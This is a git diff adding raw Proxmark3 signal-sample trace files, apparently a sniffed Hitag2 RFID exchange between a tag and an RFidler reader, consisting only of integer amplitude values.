+-14 +-14 +-13 +-13 +-12 +-11 +-9 +-9 +-8 +-8 +-7 +-5 +-5 +-4 +-3 +-3 +-2 +-2 +-2 +-1 +0 +0 +1 +1 +10 +17 +24 +27 +31 +32 +33 +33 +33 +32 +32 +30 +28 +27 +26 +25 +15 +7 +0 +-5 +-9 +-11 +-12 +-12 +-12 +-12 +-11 +-11 +-10 +-9 +-9 +-8 +1 +10 +16 +21 +24 +26 +27 +27 +27 +26 +26 +25 +24 +23 +23 +21 +12 +4 +-2 +-7 +-11 +-14 +-14 +-15 +-14 +-14 +-13 +-12 +-12 +-11 +-11 +-10 +-1 +7 +14 +19 +23 +25 +26 +26 +26 +26 +26 +24 +24 +23 +23 +21 +11 +4 +-3 +-8 +-11 +-14 +-15 +-15 +-15 +-15 +-14 +-13 +-12 +-11 +-11 +-11 +-1 +7 +15 +19 +23 +25 +27 +26 +26 +26 +25 +24 +23 +22 +22 +20 +19 +18 +18 +16 +16 +15 +14 +14 +14 +13 +12 +12 +12 +11 +11 +10 +2 +-5 +-11 +-16 +-19 +-20 +-21 +-21 +-21 +-19 +-18 +-18 +-17 +-16 +-14 +-13 +-4 +4 +12 +17 +20 +22 +23 +24 +24 +24 +23 +22 +21 +20 +20 +19 +10 +2 +-4 +-10 +-13 +-15 +-16 +-17 +-16 +-16 +-15 +-14 +-14 +-13 +-11 +-11 +-2 +7 +14 +18 +22 +23 +25 +26 +26 +25 +25 +24 +23 +22 +21 +20 +11 +3 +-4 +-9 +-12 +-14 +-15 +-16 +-16 +-15 +-14 +-14 +-13 +-12 +-11 +-10 +-9 +-8 +-8 +-7 +-6 +-6 +-5 +-4 +-3 +-3 +-3 +-2 +-2 +-2 +-1 +-1 +8 +16 +22 +26 +29 +31 +32 +31 +31 +31 +30 +28 +27 +26 +25 +23 +22 +21 +21 +19 +18 +17 +17 +16 +15 +13 +13 +13 +12 +11 +11 +11 +2 +-6 +-12 +-16 +-19 +-21 +-22 +-22 +-21 +-21 +-20 +-19 +-18 +-17 +-15 +-14 +-5 +4 +11 +15 +19 +22 +24 +24 +24 +23 +23 +22 +21 +20 +20 +19 +10 +1 +-5 +-9 +-12 +-14 +-16 +-17 +-17 +-16 +-16 +-16 +-15 +-14 +-13 +-12 +-3 +6 +13 +18 +21 +23 +26 +26 +26 +24 +24 +23 +22 +20 +20 +19 +10 +2 +-5 +-10 +-12 +-15 +-16 +-17 +-16 +-16 +-16 +-15 +-14 +-13 +-12 +-11 +-10 +-9 +-8 +-8 +-7 +-6 +-5 +-5 +-4 +-3 +-2 +-2 +-2 +-2 +-1 +-1 +8 +15 +21 +25 +28 +30 +30 +30 +30 +29 +28 +27 +26 +25 +24 +23 +14 +5 +-1 +-7 +-10 +-13 +-13 +-14 +-15 +-15 +-14 +-14 +-13 +-12 +-11 +-10 +-1 +6 +13 +18 +22 +24 +25 +25 +26 +25 +23 +22 +22 +21 +20 +19 +10 +2 +-5 +-10 +-13 +-15 +-16 +-18 +-17 +-17 +-16 +-16 +-15 +-13 +-12 +-12 +-4 +5 +12 +17 +21 +22 +24 +24 +24 +23 +23 +23 +22 +21 +20 +19 +18 +17 +16 +15 +15 +14 +14 +12 +12 +11 +11 +10 +10 +9 +9 +9 +0 +-8 +-13 +-17 +-20 +-22 +-22 +-23 +-22 +-22 +-21 +-20 +-18 +-18 +-17 +-16 +-15 +-14 +-12 +-12 +-10 +-9 +-8 +-7 +-7 +-6 +-5 +-5 +-4 +-4 +-3 +-3 +5 +13 +20 +24 +27 +27 +29 +29 +29 +28 +27 +26 +25 +24 +22 +21 +11 +3 +-3 +-8 +-11 +-13 +-14 +-16 +-15 +-15 +-14 +-15 +-14 +-13 +-11 +-11 +-3 +6 +13 +18 +21 +22 +24 +24 +24 +24 +23 +22 +21 +20 +19 +18 +9 +1 +-6 +-11 +-14 +-16 +-17 +-18 +-18 +-17 +-16 +-16 +-16 +-15 +-13 +-12 +-3 +5 +13 +17 +20 +21 +23 +24 +24 +23 +23 +22 +21 +19 +19 +18 +9 +1 +-6 +-11 +-14 +-16 +-17 +-18 +-18 +-17 +-16 +-16 +-16 +-14 +-14 +-13 +-4 +4 +12 +17 +20 +22 +24 +24 +24 +23 +22 +22 +21 +20 +19 +18 +9 +0 +-6 +-11 +-14 +-16 +-18 +-18 +-18 +-17 +-16 +-16 +-14 +-14 +-13 +-13 +-3 +5 +12 +16 +20 +21 +22 +22 +22 +22 +22 +21 +19 +18 +19 +18 +8 +0 +-6 +-11 +-14 +-16 +-17 +-17 +-18 +-18 +-18 +-17 +-15 +-15 +-13 +-13 +-4 +4 +11 +15 +19 +21 +22 +23 +22 +22 +22 +21 +20 +19 +19 +18 +17 +15 +15 +13 +13 +12 +12 +11 +11 +10 +9 +8 +8 +8 +8 +7 +-1 +-9 +-14 +-19 +-22 +-23 +-23 +-24 +-24 +-23 +-22 +-20 +-20 +-19 +-17 +-16 +-15 +-14 +-12 +-12 +-10 +-11 +-10 +-9 +-8 +-7 +-7 +-6 +-5 +-4 +-4 +-5 +4 +12 +18 +22 +26 +27 +29 +28 +27 +26 +26 +25 +23 +22 +21 +20 +10 +2 +-4 +-9 +-12 +-15 +-16 +-17 +-16 +-17 +-16 +-16 +-14 +-13 +-13 +-12 +-4 +5 +11 +16 +19 +21 +22 +22 +23 +22 +22 +20 +20 +19 +19 +17 +8 +-1 +-7 +-12 +-14 +-17 +-17 +-18 +-18 +-18 +-18 +-17 +-16 +-16 +-15 +-14 +-5 +3 +10 +15 +19 +21 +22 +23 +23 +22 +22 +20 +19 +18 +17 +16 +7 +-1 +-7 +-12 +-16 +-17 +-18 +-18 +-19 +-19 +-18 +-17 +-16 +-16 +-14 +-13 +-4 +4 +10 +14 +18 +20 +21 +21 +21 +21 +18 +16 +13 +12 +11 +9 +-9 +-28 +-43 +-55 +-61 +-66 +-66 +-66 +-64 +-62 +-59 +-56 +-52 +-50 +-47 +-44 +-41 +-38 +-36 +-33 +-31 +-29 +-27 +-26 +-23 +-22 +-20 +-19 +-16 +-15 +-14 +-14 +-12 +-11 +-10 +-10 +-9 +-8 +-7 +-7 +-7 +-7 +-6 +-6 +-5 +-5 +-4 +-4 +-4 +-4 +-4 +-3 +-2 +-2 +-2 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +0 +0 +0 +0 +0 +0 +0 +-1 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +1 +0 +1 +1 +1 +1 +0 +1 +1 +1 +0 +1 +1 +2 +1 +1 +1 +1 +1 +1 +1 +2 +1 +0 +0 +0 +0 +0 +0 +1 +1 +1 +1 +2 +1 +1 +0 +1 +1 +1 +1 +1 +1 +2 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +0 +0 +1 +0 +1 +1 +1 +1 +0 +0 +1 +1 +1 +1 +1 +1 +1 +0 +0 +0 +1 +0 +1 +1 +1 +1 +1 +0 +1 +1 +0 +0 +0 +0 +0 +0 +0 +0 +1 +1 +1 +1 +1 +1 +1 +0 +1 +1 +1 +0 +1 +1 +1 +0 +0 +0 +1 +1 +0 +0 +1 +1 +1 +1 +1 +1 +1 +0 +0 +1 +1 +1 +0 +0 +1 +0 +0 +0 +1 +1 +1 +0 +1 +1 +1 +0 +0 +0 +0 +0 +0 +0 +0 +-1 +-1 +0 +0 +0 +0 +0 +1 +1 +1 +0 +1 +0 +1 +0 +0 +0 +1 +0 +0 +0 +0 +0 +0 +0 +0 +1 +0 +0 +1 +1 +2 +1 +1 +0 +1 +0 +0 +0 +1 +0 +0 +0 +0 +0 +0 +-1 +0 +0 +1 +0 +0 +0 +1 +0 +0 +0 +1 +0 +1 +0 +0 +0 +0 +-1 +0 +0 +0 +0 +-1 +-1 +0 +0 +0 +0 +1 +0 +0 +-1 +0 +-1 +0 +-1 +-1 +-1 +0 +0 +0 +0 +0 +1 +0 +0 +0 +1 +0 +0 +0 +0 +0 +0 +0 +0 +1 +0 +0 +0 +0 +-1 +0 +-1 +0 +-1 +0 +-1 +0 +0 +0 +0 +0 +0 +1 +0 +0 +0 +-1 +-1 +-1 +-1 +0 +0 +0 +-1 +0 +0 +0 +-1 +0 +0 +0 +0 +0 +-1 +0 +-1 +-1 +-1 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +-1 +-1 +0 +0 +-27 +-51 +-73 +-92 +-109 +-125 +-127 +-127 +-127 +-127 +-127 +-127 +-127 +-127 +-64 +-7 +32 +59 +75 +84 +88 +89 +53 +21 +-8 +-34 +-57 +-78 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-96 +-16 +40 +78 +101 +115 +117 +117 +117 +117 +114 +109 +103 +97 +90 +54 +22 +-7 +-33 +-56 +-77 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-105 +-26 +30 +69 +92 +107 +113 +116 +115 +112 +74 +40 +8 +-19 +-44 +-65 +-85 +-103 +-118 +-127 +-127 +-127 +-127 +-89 +-11 +45 +82 +106 +117 +117 +117 +117 +86 +50 +18 +-10 +-36 +-58 +-79 +-96 +-113 +-127 +-127 +-127 +-127 +-80 +-1 +54 +91 +114 +117 +117 +117 +117 +117 +117 +117 +111 +103 +97 +90 +54 +21 +-7 +-33 +-56 +-77 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-104 +-25 +31 +69 +93 +107 +114 +116 +115 +112 +107 +102 +96 +91 +85 +49 +17 +-11 +-37 +-60 +-80 +-98 +-115 +-127 +-127 +-127 +-127 +-127 +-106 +-28 +28 +66 +90 +105 +111 +114 +113 +75 +40 +10 +-18 +-43 +-65 +-84 +-102 +-117 +-127 +-127 +-127 +-127 +-85 +-5 +50 +87 +110 +117 +117 +117 +117 +117 +117 +113 +106 +101 +94 +88 +52 +20 +-9 +-35 +-58 +-78 +-97 +-113 +-127 +-127 +-127 +-127 +-127 +-106 +-27 +30 +67 +91 +105 +113 +115 +114 +75 +41 +9 +-18 +-43 +-64 +-84 +-102 +-117 +-127 +-127 +-127 +-127 +-127 +-81 +0 +56 +95 +117 +117 +117 +117 +117 +117 +117 +117 +112 +106 +99 +62 +28 +-1 +-28 +-51 +-73 +-91 +-109 +-123 +-127 +-127 +-127 +-127 +-101 +-22 +33 +71 +95 +109 +116 +117 +117 +78 +43 +12 +-16 +-41 +-63 +-83 +-101 +-116 +-127 +-127 +-127 +-127 +-84 +-5 +50 +87 +110 +117 +117 +117 +117 +117 +85 +50 +18 +-11 +-36 +-59 +-79 +-97 +-113 +-127 +-127 +-127 +-127 +-83 +-5 +50 +87 +110 +117 +117 +117 +117 +117 +117 +113 +107 +100 +95 +58 +25 +-5 +-31 +-54 +-75 +-94 +-110 +-125 +-127 +-127 +-127 +-127 +-102 +-24 +32 +68 +93 +107 +114 +115 +114 +111 +73 +39 +8 +-19 +-44 +-66 +-85 +-103 +-118 +-127 +-127 +-127 +-127 +-89 +-10 +45 +82 +105 +117 +117 +117 +117 +85 +49 +18 +-11 +-36 +-59 +-79 +-97 +-113 +-127 +-127 +-127 +-127 +-81 +-2 +52 +90 +113 +117 +117 +117 +117 +117 +117 +115 +108 +102 +95 +90 +53 +21 +-8 +-34 +-57 +-78 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-104 +-27 +29 +66 +90 +104 +112 +113 +113 +74 +40 +9 +-18 +-43 +-65 +-85 +-102 +-118 +-127 +-127 +-127 +-127 +-85 +-6 +49 +86 +108 +117 +117 +117 +117 +117 +117 +112 +106 +99 +93 +56 +24 +-6 +-32 +-55 +-76 +-95 +-111 +-126 +-127 +-127 +-127 +-127 +-103 +-25 +30 +68 +92 +106 +113 +116 +115 +111 +73 +39 +8 +-20 +-44 +-66 +-85 +-103 +-118 +-127 +-127 +-127 +-127 +-89 +-11 +44 +82 +105 +117 +117 +117 +117 +84 +48 +17 +-11 +-37 +-59 +-79 +-97 +-113 +-127 +-127 +-127 +-127 +-82 +-3 +53 +90 +112 +117 +117 +117 +117 +117 +117 +115 +108 +102 +94 +88 +52 +20 +-9 +-35 +-58 +-78 +-97 +-113 +-127 +-127 +-127 +-127 +-127 +-105 +-27 +29 +66 +90 +103 +111 +113 +113 +74 +40 +9 +-18 +-43 +-65 +-85 +-102 +-118 +-127 +-127 +-127 +-127 +-85 +-7 +48 +85 +108 +117 +117 +117 +117 +117 +117 +112 +105 +99 +93 +56 +23 +-6 +-32 +-56 +-76 +-95 +-111 +-126 +-127 +-127 +-127 +-127 +-103 +-25 +30 +67 +91 +104 +112 +114 +112 +109 +105 +100 +95 +89 +83 +78 +44 +12 +-16 +-41 +-64 +-84 +-101 +-117 +-127 +-127 +-127 +-127 +-127 +-109 +-31 +24 +61 +85 +100 +107 +110 +108 +71 +36 +6 +-21 +-46 +-67 +-87 +-104 +-119 +-127 +-127 +-127 +-127 +-87 +-9 +46 +83 +106 +117 +117 +117 +117 +117 +116 +110 +103 +98 +92 +86 +50 +18 +-11 +-37 +-60 +-80 +-98 +-114 +-127 +-127 +-127 +-127 +-127 +-106 +-28 +27 +64 +88 +102 +109 +112 +112 +73 +39 +8 +-19 +-44 +-66 +-85 +-103 +-118 +-127 +-127 +-127 +-127 +-86 +-8 +47 +83 +107 +117 +117 +117 +117 +117 +116 +110 +104 +97 +92 +85 +50 +18 +-11 +-37 +-59 +-80 +-98 +-114 +-127 +-127 +-127 +-127 +-127 +-107 +-29 +26 +63 +87 +102 +109 +111 +110 +72 +37 +7 +-21 +-45 +-67 +-86 +-103 +-118 +-127 +-127 +-127 +-127 +-87 +-9 +47 +84 +107 +117 +117 +117 +117 +86 +50 +19 +-10 +-35 +-58 +-78 +-97 +-112 +-127 +-127 +-127 +-127 +-80 +-3 +52 +88 +111 +117 +117 +117 +117 +117 +117 +114 +106 +100 +93 +88 +51 +20 +-10 +-35 +-58 +-79 +-97 +-113 +-127 +-127 +-127 +-127 +-127 +-105 +-27 +28 +65 +89 +103 +110 +112 +111 +72 +38 +7 +-20 +-44 +-66 +-86 +-103 +-118 +-127 +-127 +-127 +-127 +-87 +-8 +47 +84 +106 +117 +117 +117 +117 +117 +115 +109 +104 +97 +91 +84 +79 +74 +69 +64 +59 +55 +51 +47 +44 +54 +68 +75 +78 +78 +77 +74 +71 +67 +64 +59 +56 +52 +49 +45 +42 +39 +37 +33 +31 +28 +26 +24 +22 +21 +20 +18 +16 +15 +14 +12 +11 +9 +8 +8 +7 +6 +5 +4 +4 +4 +3 +2 +2 +2 +2 +1 +1 +0 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 +-1 +-2 +-2 +-2 +-2 +-3 +-3 +-3 +-3 +-2 +-3 +-3 +-3 +-3 +-3 +-3 +-4 +-3 +-3 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-3 +-4 +-4 +-5 +-5 +-5 +-4 +-5 +-5 +-5 +-4 +-5 +-5 +-5 +-4 +-4 +-4 +-4 +-4 +-5 +-4 +-5 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-5 +-5 +-4 +-4 +-5 +-4 +-4 +-4 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-4 +-4 +-5 +-4 +-4 +-3 +-5 +-4 +-5 +-4 +-5 +-5 +-5 +-4 +-4 +-4 +-5 +-4 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-5 +-5 +2 +11 +16 +20 +22 +24 +24 +24 +23 +22 +21 +21 +19 +17 +16 +15 +6 +-2 +-9 +-14 +-17 +-19 +-22 +-22 +-22 +-22 +-21 +-21 +-21 +-19 +-19 +-18 +-10 +-1 +5 +10 +13 +14 +16 +16 +16 +15 +15 +14 +13 +12 +10 +10 +1 +-6 +-13 +-17 +-20 +-22 +-24 +-24 +-24 +-23 +-23 +-23 +-23 +-21 +-21 +-20 +-12 +-3 +4 +9 +11 +14 +15 +16 +15 +15 +14 +14 +13 +11 +11 +10 +1 +-7 +-13 +-17 +-21 +-23 +-24 +-25 +-24 +-24 +-24 +-23 +-22 +-21 +-21 +-20 +-11 +-3 +4 +9 +11 +14 +15 +16 +15 +14 +14 +13 +12 +11 +10 +10 +1 +-7 +-14 +-18 +-21 +-23 +-25 +-25 +-25 +-24 +-25 +-24 +-23 +-21 +-20 +-19 +-11 +-3 +4 +9 +11 +13 +15 +16 +15 +14 +13 +13 +12 +11 +10 +9 +0 +-7 +-14 +-18 +-21 +-23 +-24 +-24 +-25 +-24 +-24 +-23 +-22 +-21 +-20 +-20 +-19 +-18 +-17 +-16 +-16 +-15 +-14 +-14 +-14 +-13 +-13 +-12 +-12 +-12 +-11 +-10 +-3 +5 +11 +15 +18 +20 +20 +21 +20 +20 +19 +18 +16 +15 +13 +13 +2 +-5 +-11 +-15 +-19 +-21 +-23 +-23 +-23 +-23 +-23 +-22 +-21 +-20 +-20 +-19 +-11 +-2 +4 +9 +12 +14 +15 +15 +15 +15 +14 +14 +12 +12 +11 +10 +0 +-7 +-13 +-18 +-21 +-23 +-24 +-24 +-25 +-24 +-24 +-23 +-22 +-21 +-20 +-20 +-11 +-4 +2 +8 +11 +13 +14 +14 +14 +14 +13 +12 +11 +11 +10 +9 +0 +-7 +-14 +-18 +-22 +-23 +-25 +-25 +-26 +-25 +-24 +-22 +-22 +-22 +-21 +-20 +-12 +-4 +2 +8 +11 +13 +13 +14 +14 +14 +13 +13 +12 +11 +10 +9 +-1 +-8 +-14 +-19 +-22 +-23 +-25 +-25 +-26 +-25 +-25 +-24 +-23 +-23 +-22 +-20 +-12 +-4 +2 +8 +11 +13 +14 +14 +15 +14 +13 +13 +12 +11 +10 +9 +8 +7 +6 +6 +5 +5 +4 +3 +2 +2 +1 +1 +0 +-1 +-1 +0 +-9 +-16 +-22 +-25 +-29 +-31 +-32 +-32 +-31 +-30 +-30 +-29 +-27 +-26 +-25 +-24 +-16 +-7 +0 +4 +8 +11 +13 +13 +12 +12 +12 +11 +10 +9 +8 +8 +-2 +-10 +-15 +-19 +-22 +-24 +-26 +-26 +-26 +-26 +-25 +-24 +-24 +-22 +-22 +-21 +-21 +-19 +-19 +-18 +-17 +-16 +-15 +-15 +-15 +-14 +-13 +-12 +-12 +-12 +-11 +-11 +-3 +4 +11 +15 +18 +19 +20 +20 +20 +19 +18 +17 +15 +15 +13 +12 +11 +10 +9 +8 +7 +6 +5 +4 +3 +3 +2 +2 +1 +1 +0 +0 +-9 +-16 +-22 +-25 +-28 +-30 +-31 +-31 +-30 +-29 +-29 +-28 +-27 +-25 +-25 +-23 +-23 +-21 +-21 +-20 +-19 +-17 +-17 +-16 +-16 +-14 +-14 +-13 +-13 +-12 +-12 +-12 +-5 +4 +10 +14 +16 +18 +19 +19 +18 +17 +16 +16 +14 +13 +12 +12 +10 +9 +8 +7 +6 +6 +5 +4 +4 +3 +2 +2 +1 +1 +1 +0 +-9 +-15 +-21 +-26 +-29 +-30 +-31 +-31 +-31 +-30 +-30 +-28 +-28 +-27 +-25 +-24 +-22 +-22 +-21 +-20 +-19 +-18 +-18 +-17 +-16 +-15 +-14 +-14 +-14 +-13 +-12 +-12 +-5 +4 +9 +14 +16 +18 +19 +19 +18 +18 +17 +16 +14 +13 +12 +11 +10 +9 +8 +7 +6 +5 +4 +4 +3 +3 +1 +1 +1 +1 +0 +-1 +-9 +-16 +-21 +-26 +-29 +-31 +-31 +-31 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +-24 +-22 +-21 +-21 +-20 +-19 +-18 +-18 +-17 +-17 +-15 +-15 +-15 +-14 +-13 +-13 +-13 +-5 +3 +10 +14 +16 +18 +19 +19 +18 +17 +17 +16 +14 +13 +12 +11 +10 +9 +8 +7 +6 +5 +4 +3 +2 +2 +1 +1 +0 +1 +0 +0 +-9 +-16 +-22 +-26 +-30 +-31 +-31 +-31 +-32 +-30 +-30 +-28 +-27 +-26 +-25 +-24 +-23 +-22 +-21 +-20 +-19 +-18 +-18 +-17 +-16 +-15 +-15 +-14 +-13 +-12 +-12 +-12 +-5 +3 +9 +13 +15 +17 +18 +19 +18 +17 +16 +15 +14 +12 +11 +10 +1 +-6 +-13 +-17 +-20 +-22 +-24 +-24 +-25 +-24 +-24 +-24 +-23 +-22 +-21 +-21 +-12 +-4 +3 +7 +10 +12 +13 +14 +13 +13 +12 +12 +10 +9 +8 +8 +7 +6 +5 +5 +4 +3 +2 +2 +1 +1 +-1 +0 +-1 +-1 +-3 +-2 +-11 +-17 +-23 +-27 +-30 +-31 +-32 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-25 +-23 +-24 +-22 +-21 +-20 +-19 +-18 +-17 +-16 +-16 +-16 +-15 +-14 +-14 +-13 +-13 +-12 +-5 +3 +8 +12 +15 +17 +18 +18 +17 +17 +16 +14 +13 +13 +11 +10 +0 +-7 +-13 +-18 +-22 +-24 +-25 +-25 +-25 +-25 +-25 +-24 +-23 +-22 +-22 +-21 +-12 +-4 +2 +7 +10 +13 +13 +14 +13 +13 +12 +12 +10 +10 +9 +8 +6 +5 +5 +4 +4 +3 +2 +1 +1 +0 +-1 +0 +-1 +0 +-2 +-2 +-11 +-17 +-24 +-28 +-31 +-32 +-33 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +-24 +-23 +-21 +-20 +-20 +-19 +-18 +-17 +-17 +-16 +-16 +-14 +-14 +-14 +-14 +-13 +-5 +3 +8 +13 +16 +17 +17 +17 +17 +17 +15 +14 +13 +13 +11 +10 +0 +-7 +-13 +-18 +-21 +-23 +-24 +-25 +-26 +-25 +-25 +-24 +-23 +-22 +-21 +-20 +-12 +-4 +2 +7 +9 +12 +12 +13 +12 +12 +11 +11 +10 +9 +8 +7 +-2 +-9 +-15 +-20 +-23 +-25 +-26 +-26 +-27 +-27 +-26 +-25 +-24 +-23 +-23 +-22 +-13 +-5 +1 +5 +9 +11 +12 +12 +12 +12 +11 +10 +9 +9 +8 +7 +-2 +-10 +-16 +-20 +-24 +-26 +-27 +-27 +-27 +-27 +-26 +-25 +-24 +-24 +-23 +-22 +-13 +-5 +1 +5 +9 +11 +11 +11 +12 +12 +11 +10 +9 +9 +8 +6 +5 +5 +4 +4 +2 +2 +1 +1 +0 +0 +0 +0 +-1 +-2 +-2 +-2 +-11 +-18 +-24 +-28 +-31 +-32 +-33 +-33 +-32 +-31 +-31 +-30 +-29 +-27 +-26 +-25 +-24 +-22 +-22 +-21 +-21 +-20 +-19 +-17 +-17 +-17 +-16 +-15 +-14 +-14 +-14 +-13 +-5 +2 +8 +12 +15 +17 +17 +17 +17 +17 +15 +14 +13 +12 +11 +10 +8 +7 +6 +5 +4 +3 +2 +2 +2 +2 +0 +0 +-1 +-1 +-3 +-3 +-11 +-17 +-23 +-27 +-30 +-32 +-33 +-33 +-33 +-31 +-30 +-29 +-29 +-27 +-26 +-25 +-25 +-23 +-22 +-21 +-20 +-19 +-19 +-17 +-17 +-16 +-16 +-15 +-15 +-15 +-15 +-14 +-7 +1 +7 +11 +14 +17 +16 +17 +16 +16 +15 +14 +12 +12 +11 +9 +8 +7 +6 +5 +4 +3 +3 +2 +1 +0 +0 +0 +-1 +-1 +-3 +-2 +-11 +-18 +-24 +-27 +-30 +-31 +-32 +-32 +-32 +-31 +-30 +-30 +-29 +-28 +-27 +-25 +-25 +-23 +-22 +-21 +-21 +-20 +-19 +-18 +-17 +-16 +-16 +-15 +-15 +-14 +-14 +-14 +-5 +2 +8 +11 +14 +16 +17 +16 +16 +16 +15 +14 +12 +12 +10 +9 +0 +-7 +-14 +-18 +-22 +-24 +-25 +-26 +-27 +-27 +-26 +-25 +-24 +-24 +-23 +-22 +-13 +-5 +1 +6 +9 +11 +11 +12 +12 +12 +8 +5 +3 +2 +1 +0 +-18 +-36 +-51 +-62 +-69 +-72 +-73 +-72 +-71 +-69 +-67 +-63 +-59 +-56 +-54 +-51 +-48 +-45 +-43 +-41 +-39 +-36 +-35 +-33 +-31 +-29 +-28 +-26 +-25 +-24 +-23 +-22 +-22 +-20 +-19 +-18 +-18 +-17 +-17 +-16 +-16 +-15 +-15 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-11 +-12 +-11 +-11 +-10 +-10 +-10 +-10 +-9 +-9 +-9 +-10 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-7 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-7 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-8 +-9 +-8 +-9 +-8 +-8 +-8 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-7 +-8 +-9 +-9 +-9 +-9 +-9 +-10 +-9 +-9 +-8 +-10 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-8 +-8 +-8 +-8 +-8 +-7 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-10 +-9 +-9 +-9 +-10 +-10 +-9 +-9 +-9 +-10 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-8 +-9 +-9 +-10 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-10 +-10 +-10 +-9 +-9 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-9 +-8 +-8 +-8 +-9 +-8 +-9 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-9 +-8 +-8 +-8 +-8 +-8 +-7 +-7 +-7 +-8 +-7 diff --git a/traces/sniff-ht2-BC3B8810-rfidler-reader.pm3 b/traces/sniff-ht2-BC3B8810-rfidler-reader.pm3 new file mode 100644 index 000000000..3be1e7cb5 --- /dev/null +++ b/traces/sniff-ht2-BC3B8810-rfidler-reader.pm3 @@ -0,0 +1,4200 @@ +-2 +-1 +0 +0 +-1 +0 +-1 +0 +-1 +-2 +-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +0 +0 +-1 +-2 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-2 +-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +0 +0 +0 +-1 +-2 +-2 +-1 +-1 +-1 +-1 +0 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 +-1 +0 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +-1 +0 +0 +-1 +-1 +-2 +-2 +-2 +-2 +-2 +-2 +-2 +-1 +-2 +-1 +-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +0 +-1 +-2 +-2 +-1 +-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +0 +-1 +-1 +-1 +-21 +-39 +-55 +-69 +-82 +-94 +-104 +-113 +-113 +2 +57 +66 +53 +36 +22 +13 +12 +16 +20 +22 +22 +21 +19 +18 +16 +14 +13 +12 +12 +10 +-11 +-30 +-47 +-62 +-75 +-88 +-98 +-108 +-106 +10 +64 +72 +60 +42 +28 +19 +18 +20 +24 +26 +27 +25 +23 +21 +18 +17 +16 +14 +14 +13 +-8 +-27 +-44 +-60 +-74 +-86 +-97 +-107 +-105 +9 +61 +68 +56 +39 +26 +19 +18 +21 +25 +27 +28 +26 +3 +-17 +-35 +-52 +-66 +-79 +-91 +-101 +-99 +16 +69 +75 +62 +44 +30 +22 +22 +24 +28 +30 +30 +28 +5 +-15 +-33 +-50 +-65 +-78 +-90 +-100 +-97 +20 +73 +79 +65 +46 +30 +21 +21 +24 +28 +30 +30 +28 +5 +-15 +-34 +-50 +-65 +-78 +-90 +-100 +-96 +21 +75 +82 +68 +49 +32 +22 +21 +25 +29 +31 +31 +29 +27 +23 +22 +20 +19 +17 +15 +14 +13 +12 +11 +11 +10 +9 +8 +12 +17 +22 +28 +31 +33 +33 +33 +31 +30 +28 +28 +26 +24 +22 +20 +20 +18 +17 +16 +15 +14 +12 +11 +10 +10 +10 +9 +8 +7 +6 +5 +5 +5 +5 +5 +3 +3 +3 +3 +2 +3 +2 +2 +2 +1 +1 +2 +2 +1 +-1 +-1 +-1 +-1 +-1 +0 +0 +0 +0 +0 +-1 +0 +1 +0 +-1 +0 +-1 +0 +-1 +0 +0 +0 +-1 +-2 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 